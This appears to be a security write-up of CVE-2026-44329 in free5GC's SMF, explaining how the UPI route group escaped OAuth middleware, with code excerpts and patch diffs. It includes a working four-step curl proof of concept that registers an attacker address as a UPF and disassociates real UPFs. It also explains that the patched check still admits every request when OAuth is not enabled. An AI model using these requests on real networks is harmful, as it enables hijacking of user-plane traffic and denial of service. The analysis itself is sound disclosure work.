free5GC's SMF binds its OAuth middleware inside a for _, serviceName := range factory.SmfConfig.Configuration.ServiceNameList loop. Each branch of the switch inside the loop instantiates util_oauth.NewRouterAuthorizationCheck, attaches it as middleware on a router.Group(...), and registers the routes for one 3GPP service. The UPI route group is registered seven lines above the loop. The patch for CVE-2026-44329 is four lines that copy what the inside of the loop does, attached to the group that was sitting above it.
CVE-2026-44329: free5GC's UPI Route Group Was Registered Above the OAuth Loop
vendor
patterns
cve
proof of concept
The loop is the auth list
newRouter in internal/sbi/server.go, as of v4.2.1, registered route groups in two structurally different places. Five total: two flat at the top, three inside a loop over factory.SmfConfig.Configuration.ServiceNameList. Same gin.Engine, same listener, same SBI port. Different code paths in.
func newRouter(s *Server) *gin.Engine {
router := logger_util.NewGinWithLogrus(logger.GinLog)
router.Use(metrics.InboundMetrics())
smfCallbackGroup := router.Group(factory.SmfCallbackUriPrefix)
smfCallbackRoutes := s.getCallbackRoutes()
applyRoutes(smfCallbackGroup, smfCallbackRoutes)
upiGroup := router.Group(factory.UpiUriPrefix)
upiRoutes := s.getUPIRoutes()
applyRoutes(upiGroup, upiRoutes)
for _, serviceName := range factory.SmfConfig.Configuration.ServiceNameList {
switch models.ServiceName(serviceName) {
case models.ServiceName_NSMF_PDUSESSION:
smfPDUSessionGroup := router.Group(factory.SmfPdusessionResUriPrefix)
smfPDUSessionRoutes := s.getPDUSessionRoutes()
routerAuthorizationCheck := util_oauth.NewRouterAuthorizationCheck(models.ServiceName_NSMF_PDUSESSION)
smfPDUSessionGroup.Use(func(c *gin.Context) {
routerAuthorizationCheck.Check(c, smf_context.GetSelf())
})
applyRoutes(smfPDUSessionGroup, smfPDUSessionRoutes)
case models.ServiceName_NSMF_EVENT_EXPOSURE:
// same shape: new group, new auth check, .Use, applyRoutes
case models.ServiceName_NSMF_OAM:
// same shape: new group, new auth check, .Use, applyRoutes
}
}
return router
}ServiceNameList is a list of 3GPP service names the operator enables in smfcfg.yaml. The loop walks that list, the switch matches each entry against one of three 3GPP services, and the branch that matches creates a route group, instantiates a RouterAuthorizationCheck bound to that service name, and attaches it as middleware. The switch has no default. Anything not in the 3GPP catalog cannot reach the loop, because the loop has no other branch and the switch has no default: case.
The UPI route group is not in the 3GPP catalog. UPI is free5GC's own User Plane Information topology-management surface. It has no 3GPP service name and no entry in ServiceNameList. The only place the author of the May 2024 structured-server refactor (commit 5a61332, "refactor: implement server structure & add two services (callback and upi)") could mount it was the flat top of the function. So that is where it went, sandwiched between the SM policy callback group and the loop, with router.Use(metrics.InboundMetrics()) as the only middleware in scope. UPI got metrics. UPI did not get OAuth.
What the UPI route group lets you do
getUPIRoutes() in internal/sbi/api_upi.go returns four routes. The first is a GET / health probe. The other three are the CVE:
{Method: http.MethodGet, Pattern: "/upNodesLinks", APIFunc: s.GetUpNodesLinks},
{Method: http.MethodPost, Pattern: "/upNodesLinks", APIFunc: s.PostUpNodesLinks},
{Method: http.MethodDelete, Pattern: "/upNodesLinks/:upNodeRef", APIFunc: s.DeleteUpNodeLink},GET /upi/v1/upNodesLinks dumps UserPlaneInformation as JSON: every UPF and access-network node in the SMF's view, every link between them, every S-NSSAI slice, every DNN, every UE IP pool. It is the SMF's belief about the data plane, written out.
POST /upi/v1/upNodesLinks takes the same JSON shape and feeds it to UpNodesFromConfiguration, which extends upi.UPNodes and upi.UPFs with whatever entries the body names. Each new UPF passes through NewUPF(&upNode.NodeID, node.InterfaceUpfInfoList) and is appended to the pool. The handler then iterates the post-merge upi.UPFs, finds any UPF not yet associated, and dispatches:
for _, upf := range upi.UPFs {
if err := upf.UPF.IsAssociated(); err != nil {
go s.Processor().ToBeAssociatedWithUPF(smf_context.GetSelf().PfcpContext, upf.UPF)
}
}ToBeAssociatedWithUPF runs setupPfcpAssociation, which sends a PFCP Association Setup Request to the IP the body named. PFCP is the protocol the SMF uses to program user-plane forwarding rules into a UPF: PDRs (which packets to match), FARs (where to send them), QERs (how to rate-limit). An attacker who can post a node_id of their choosing has just instructed the SMF to open a control channel to their address and begin programming forwarding state into it. The SMF will treat them as a UPF until they stop heartbeating.
DELETE /upi/v1/upNodesLinks/:upNodeRef runs ReleaseAllResourcesOfUPF against the named entry and cancels its PFCP association, severing any real UPF whose upNodeRef an attacker can guess. The list of upNodeRef values is the response body of the GET.
End-to-end, four curls against a free5GC SMF reachable on the SBI:
# 1. Enumerate the data plane
curl http://smf:8000/upi/v1/upNodesLinks
# 2. Insert your machine as a UPF
curl -X POST http://smf:8000/upi/v1/upNodesLinks \
-H 'Content-Type: application/json' \
-d '{"up_nodes":{"attacker":{"type":"UPF","node_id":"198.51.100.7"}}, "links":[]}'
# SMF now initiates PFCP Association Setup to 198.51.100.7
# 3. Disassociate any real UPF whose upNodeRef you saw in step 1
curl -X DELETE http://smf:8000/upi/v1/upNodesLinks/upf-edge-tokyo
# 4. Read the data plane back to confirm
curl http://smf:8000/upi/v1/upNodesLinksNo Authorization header anywhere. The pre-patch handler does not look for one. The advisory's own PoC log reads GET /upi/v1/upNodesLinks -> 200 OK, POST -> 200 OK, DELETE -> 404 for a guess that missed.
The first hop, attacker becomes a UPF, is the load-bearing one. Once the SMF is initiating PFCP to an attacker-controlled address, the attacker receives PDR/FAR programming for whatever PDU sessions the SMF subsequently routes through them, and gets to forward or drop user-plane packets at their discretion. The second hop, disassociating real UPFs, is denial-of-service against the 5G data plane by name.
The route group's safety, before the patch, was the internal-only-by-convention contract that free5GC operators would bind the SBI listener to a trusted management network. The framework's docs say so. The SBI listener does not check.
The patch is what the loop already does, one branch above
Commit 138826c, March 18, 2026, by DBGR18. Four lines:
@@ -74,6 +74,10 @@ func newRouter(s *Server) *gin.Engine {
applyRoutes(smfCallbackGroup, smfCallbackRoutes)
upiGroup := router.Group(factory.UpiUriPrefix)
+ upiAuthCheck := util_oauth.NewRouterAuthorizationCheck(models.ServiceName_NSMF_OAM)
+ upiGroup.Use(func(c *gin.Context) {
+ upiAuthCheck.Check(c, smf_context.GetSelf())
+ })
upiRoutes := s.getUPIRoutes()
applyRoutes(upiGroup, upiRoutes)The service-name argument is ServiceName_NSMF_OAM. UPI has no 3GPP service name of its own, so the patch picks the closest available token audience: the OAM scope, the same one the OAM case branch of the loop uses. The middleware itself is what the three branches inside the loop have been doing since 2024.
Five days after this patch, the same author fixed the other route group above the loop
The other group registered at the flat top of newRouter is smfCallbackGroup. On March 23, 2026, five days after the UPI fix, DBGR18 committed be755dd, "fix: enforce OAuth for SM policy callbacks":
@@ -70,6 +70,16 @@ func newRouter(s *Server) *gin.Engine {
router.Use(metrics.InboundMetrics())
smfCallbackGroup := router.Group(factory.SmfCallbackUriPrefix)
+ smPolicyCallbackAuthCheck := util_oauth.NewRouterAuthorizationCheck(models.ServiceName_NPCF_SMPOLICYCONTROL)
+ smfCallbackGroup.Use(func(c *gin.Context) {
+ if c.Param("smContextRef") != "" {
+ smPolicyCallbackAuthCheck.Check(c, smf_context.GetSelf())
+ if c.IsAborted() {
+ return
+ }
+ }
+ })
smfCallbackRoutes := s.getCallbackRoutes()
applyRoutes(smfCallbackGroup, smfCallbackRoutes)Different audience name, NPCF_SMPOLICYCONTROL because the caller is the PCF. Narrower scope: the gate only fires when the request matches a path with an :smContextRef parameter, which means the third route in getCallbackRoutes(), POST /:notifyUri for HTTPChargingNotification, is still ungated by structure after this patch. The pattern though is the same as the UPI fix: a route group that was registered above the iteration of ServiceNameList, that the author had to walk to one at a time and decide whether to gate.
This is the parallel-implementation-gap shape we have named before: Astro shipped two /_image endpoints and only one read the allowlist; MLflow's basic auth only gated Flask and the three FastAPI routers were public. The canonical registration path here is the switch-case branch and imports util_oauth.NewRouterAuthorizationCheck. The divergent registration path is the flat top of the function and imports nothing. Both produce route groups on the same gin.Engine. CVE-2026-44329 names the most dangerous of the divergent groups; commit be755dd patches the second, partially. There is still no audit that says "every router.Group(...) in this file has middleware attached." There is still a for _, serviceName := range factory.SmfConfig.Configuration.ServiceNameList loop whose iteration boundary is, structurally, the boundary of the auth perimeter.
The patched check returns nil when OAuth2Required is false
The middleware the patch attaches calls smfContext.AuthorizationCheck(token, rac.serviceName). That method, in internal/context/context.go:
func (c *SMFContext) AuthorizationCheck(token string, serviceName models.ServiceName) error {
if !c.OAuth2Required {
return nil
}
return oauth.VerifyOAuth(token, string(serviceName), c.NrfCertPem)
}OAuth2Required is set on SMF startup, from one place: the NRF's CustomInfo["oauth2"] boolean returned in the registration response. If the NRF doesn't say oauth2: true, OAuth2Required is false, and the middleware returns nil for any request, with or without an Authorization header. The patch closes the structural absence. It does not close the bug for any deployment whose NRF doesn't enforce OAuth, which on the public free5GC distribution is the default config the project ships for testing, and which on most academic and lab installations is the running configuration.
The shape the refactor introduced and never reconciled
The original UPI handler landed February 1, 2023 (commit 603c777, "Add REST APIs to user_plane_information (upNodes, links)"), in a flat internal/sbi/upi/ package, with no auth anywhere in the SMF codebase. There was nothing to be outside of. The DELETE handler followed five weeks later. For fifteen months no SMF route had OAuth.
May 8, 2024, commit 5a61332, "refactor: implement server structure & add two services (callback and upi)," introduced the structured router. It also introduced the ServiceNameList switch-case pattern and the RouterAuthorizationCheck middleware. It applied that middleware to every route group registered inside the new loop. It did not apply it to UPI or to the SM policy callback group, because those route groups had no 3GPP service name to enroll. The refactor created the auth perimeter; the same commit registered the two route groups that would be outside it.
From May 2024 to March 2026, the SMF shipped with POST /upi/v1/upNodesLinks reachable on the SBI listener with no Authorization check, while the PDU session, event exposure, and OAM groups it sat next to refused requests without a valid OAuth token (in deployments where OAuth was enabled). The advisory was filed by LinZiyuu on May 7, 2026; the CVE was assigned the next day. Twenty-two months from the creation of the perimeter to the close of its most dangerous hole.
The 3GPP service catalog was the auth list. The user-plane topology editor is not in the catalog.